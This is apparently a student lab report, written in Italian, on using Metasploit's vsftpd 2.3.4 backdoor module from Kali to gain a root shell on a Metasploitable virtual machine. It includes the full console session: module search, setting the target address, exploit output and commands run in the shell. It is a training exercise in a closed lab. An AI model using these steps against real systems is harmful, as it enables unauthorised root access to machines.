Esercitazione S7/L1

In questa esercitazione ho svolto un exploit con il servizio “vsftpd” per entrare e prendere il controllo di una macchina target.

Dispositivi/software utilizzati:

- Kali (attaccante)
- Metaspoitable (vittima)
- Metasploit (software)

Metasploit:

Metasploit è un software utilizzato per effettuare l’exploit ad una macchina target, cercando di prenderne il controllo. L’obiettivo è creare una shell che permetta la comunicazione tra due macchine, per fare ciò ho bisogno di attaccare la macchina con il giusto payload.

Payload:

Il payload è un insieme di parti di codice che una volta ricomposto ci permetterà l’exploit e di conseguenza si stabilirà un collegamento alla macchina vittima, la shell.

Shell:

Con shell si intende il collegamento tra una macchina attaccante e una vittima, ne esistono due tipi:

- Bind: Collegamento diretto dalla macchina attaccante alla macchina vittima
- Reverse: Collegamento inverso dalla macchina vittima alla macchina attaccante. Questa soluzione ci permetterà di bypassare un firewall perimetrale ad esempio.

Svolgimento:

Come prima fase ho configurato l’indirizzo IP della macchina Metaspoitable mettendo un ip statico modificando il file interfaces con il comando “sudo nano /etc/network/interfaces”. Ho verificato poi il collegamento tra Kali e Metaspoitable con un ping.

```
msf6 > payload
[-] Unknown command: payload. Run the help command for more details.
msf6 > show -h
[*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options, favorites
[*] Additional module-specific parameters are: missing, advanced, evasion, targets, actions
msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution
```

Successivamente ho poi selezionato il payload da eseguire scegliendo come parametro il “svftpd” e selezionando l’opzione 1. In questo caso ci ha tirato fuori due payload legati al servizio “svftpd”, in casi analoghi o laddove ci siano più risultati simili dobbiamo vedere la descrizione per scremare i risultati, basandoci su ciò che stiamo cercando, o testare più payload per trovare la vulnerabilità. La versione del servizio (come si può vedere nella descrizione) è importante poiché se le versioni sono differenti possiamo andare incontro a servizi aggiornati e quindi non più vulnerabili. La versione del servizio sulla macchina

target deve essere specificatamente quella della descrizione per assicurarci che l'attacco vada a buon fine.
Dopo aver selezionato il payload lo andiamo a configurare, in questo caso ho impostato l'indirizzo IP della macchina target:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts ⇒ 192.168.1.149
```

Ora posso procedere con l'exploit:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.13:37597 → 192.168.1.149:620

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:e6:be:7f
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fee6:be7f/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:155 errors:0 dropped:0 overruns:0 frame:0
          TX packets:137 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:14293 (13.9 KB)  TX bytes:14670 (14.3 KB)
          Base address:0×d020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:138 errors:0 dropped:0 overruns:0 frame:0
          TX packets:138 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:42061 (41.0 KB)  TX bytes:42061 (41.0 KB)
```

Come si può vedere dalla foto ho ricevuto risposta positiva dall'exploit (Command shell session 1 opened) e ho testato con un "ifconfig" l'effettiva tiuscita dell'attacco. L'output è quello desiderato (192.168.1.149), significa quindi che ho il possesso della macchina target.
Infine ho creato con il comando "mkdir" nella cartella "root" una cartella "test_metasploit". Come si può vedere dalla foto a dx è stata creata con successo.

```
cd
sh: line 7: cd: HOME not set
cd /root
ls
Desktop
reset_logs.sh
vnc.log
mkdir test_metasploit
ls
Desktop
reset_logs.sh
test_metasploit
vnc.log
```

Sono andato poi a controllare sulla macchina vittima l'effettiva creazione della cartella come si può vedere dalla foto sottostante.